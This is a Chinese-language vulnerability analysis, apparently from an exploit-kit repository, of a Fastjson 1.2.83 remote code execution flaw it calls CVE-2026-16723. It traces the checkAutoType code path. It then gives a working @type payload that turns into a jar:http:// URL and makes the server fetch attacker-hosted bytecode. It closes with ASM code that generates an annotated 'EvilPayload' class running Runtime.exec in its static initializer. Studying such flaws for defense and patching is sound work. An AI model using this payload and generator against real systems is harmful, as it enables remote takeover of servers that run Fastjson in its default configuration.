
Detailed CVE-2026-16723 analysis and exploit kit for Fastjson 1.2.83 RCE, covering vulnerable code paths, malicious JAR/bytecode generation, and a Docker Compose environment for reproducing the attack.
免责声明:本项目仅供授权环境下的安全研究和学习使用。禁止对未授权系统进行测试,使用后果由使用者自行承担。
CVSS 9.0,影响 Fastjson 1.2.68 ~ 1.2.83。无需开启 AutoType,无需第三方 Gadget,默认配置即可利用。
漏洞的入口在 com.alibaba.fastjson.parser.ParserConfig.checkAutoType。无论调用的是 JSON.parse(body) 还是 JSON.parseObject(body, Foo.class),最终都会进入这个方法。
关键代码路径(fastjson 1.2.83):
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
// ① 黑白名单检查——autoTypeSupport=false 时整段跳过
if (autoTypeSupport || expectClassFlag) { ... }
// ② @JSONType 注解探测
boolean jsonType = false;
InputStream is = null;
try {
String resource = typeName.replace('.', '/') + ".class";
if (defaultClassLoader != null) {
is = defaultClassLoader.getResourceAsStream(resource);
} else {
is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
}
if (is != null) {
ClassReader classReader = new ClassReader(is, true);
TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
classReader.accept(visitor);
jsonType = visitor.hasJsonType();
}
} catch (Exception e) { }
finally { IOUtils.close(is); }
// ③ 类型加载
if (autoTypeSupport || jsonType || expectClassFlag) {
boolean cacheClass = autoTypeSupport || jsonType;
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}
// ④ jsonType=true 时跳过所有后续检查
if (clazz != null) {
if (jsonType) {
return clazz;
}
// denyList 检查、硬编码拦截、isAssignableFrom ...
}
}
AutoType 开关(autoTypeSupport)只控制 ① 是否进入,但 ② 注解探测无条件执行。只要 ② 中 jsonType 变为 true,③ 类型加载和 ④ 安全检查跳过就会相继触发。
String resource = typeName.replace('.', '/') + ".class";
typeName 是 JSON 中 @type 的值,攻击者完全可控。本意是将 com.example.Foo 转为 com/example/Foo.class,但当输入是 URL 时,这就变成了 URL 构造器。
因为 hostname 中的 . 也会被替换,攻击者用整数 IP 来绕过。127.0.0.1 的 32 位无符号整数是 2130706433:
输入: jar:http:..2130706433:8000.probe!.EvilPayload
↓ replace('.', '/')
输出: jar:http://2130706433:8000/probe!/EvilPayload.class
.. → //,.probe! → /probe!/,得到一个合法的 jar:http:// 资源定位符。
is = defaultClassLoader.getResourceAsStream(resource);
getResourceAsStream 能否把 jar:http:// 解析为远程资源,完全取决于 ClassLoader 类型:
| ClassLoader | 行为 |
|---|---|
JDK AppClassLoader | 只搜本地 classpath → null |
Tomcat WebappClassLoader(独立 WAR) | 只搜 WEB-INF/lib → null |
Spring Boot LaunchedURLClassLoader(fat-JAR) | 支持 jar:http:// → HTTP 出去拉字节码 |
这里有一个容易混淆的点:Spring Boot 内嵌 Tomcat 时,应用类的 ClassLoader 是 LaunchedURLClassLoader 而不是 WebappClassLoader。所以内嵌 Tomcat/Jetty/Undertow 都在受影响范围内。
当 is != null 时,攻击者托管的远程 class 字节码已进入 JVM 内存。
ClassReader classReader = new ClassReader(is, true);
TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
classReader.accept(visitor);
jsonType = visitor.hasJsonType();
Fastjson 用 ASM 扫描字节码,检查是否包含 @com.alibaba.fastjson.annotation.JSONType 注解。设计本意是性能优化——通过注解快速识别 Fastjson 管理的类型。但这里只检查注解是否存在,不验证字节码来源、不检查类名、不限制来源。攻击者的远程 class 只要带上 @JSONType,就能拿到 jsonType=true 的判定。
注意 catch (Exception e) {} 是空的——攻击者不会收到任何报错。

if (autoTypeSupport || jsonType || expectClassFlag) {
boolean cacheClass = autoTypeSupport || jsonType;
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}
jsonType=true 即满足条件。loadClass 走标准类加载流程,经 defineClass 将字节码注册为 JVM Class 对象。
需要区分两个概念:defineClass 完成的是类定义(在 JVM 中注册),而 <clinit> 在类初始化阶段执行。两个阶段可能在同一次请求内完成,但 JVM 规范上它们是独立的。
if (jsonType) {
return clazz;
}
这行跳过了后续所有防御:
ClassLoader/DataSource/RowSet 硬编码拦截denyList 黑名单expectClass.isAssignableFrom(clazz) 类型检查这也解释了为什么 parseObject(body, Dto.class) 防不住:类型绑定检查在类加载之后,而攻击代码在加载阶段就已执行。
攻击者需要生成一个字节码文件,满足三个条件:携带 @JSONType 注解、在 <clinit> 中嵌入攻击代码、通过 HTTP 托管。
ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_MAXS);
cw.visit(Opcodes.V1_6, Opcodes.ACC_PUBLIC,
"EvilPayload", null, "java/lang/Object", null);
// 过 ASM 探针
cw.visitAnnotation(
"Lcom/alibaba/fastjson/annotation/JSONType;", true
).visitEnd();
// <clinit> 里跑命令
MethodVisitor mv = cw.visitMethod(Opcodes.ACC_STATIC,
"<clinit>", "()V", null, null);
mv.visitCode();
mv.visitMethodInsn(Opcodes.INVOKESTATIC,
"java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false);
mv.visitLdcInsn(cmd);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
"java/lang/Runtime", "exec",
"(Ljava/lang/String;)Ljava/lang/Process;", false);
mv.visitInsn(Opcodes.RETURN);
// 打包
JarOutputStream jos = new JarOutputStream(new FileOutputStream(outPath));
jos.putNextEntry(new JarEntry("EvilPayload.class"));
jos.write(cw.toByteArray());
恶意逻辑通过 <clinit> 触发,类被加载即执行。
这条链的本质是把 Fastjson 的注解探测变成了一个远程类加载器。攻击者控制 @type 的值,通过字符串转换构造 URL、利用 getResourceAsStream 发起 SSRF 拉取字节码、以 @JSONType 注解通过 ASM 探针的检查、经 loadClass 完成类定义、最后由 return clazz 跳过所有安全检查。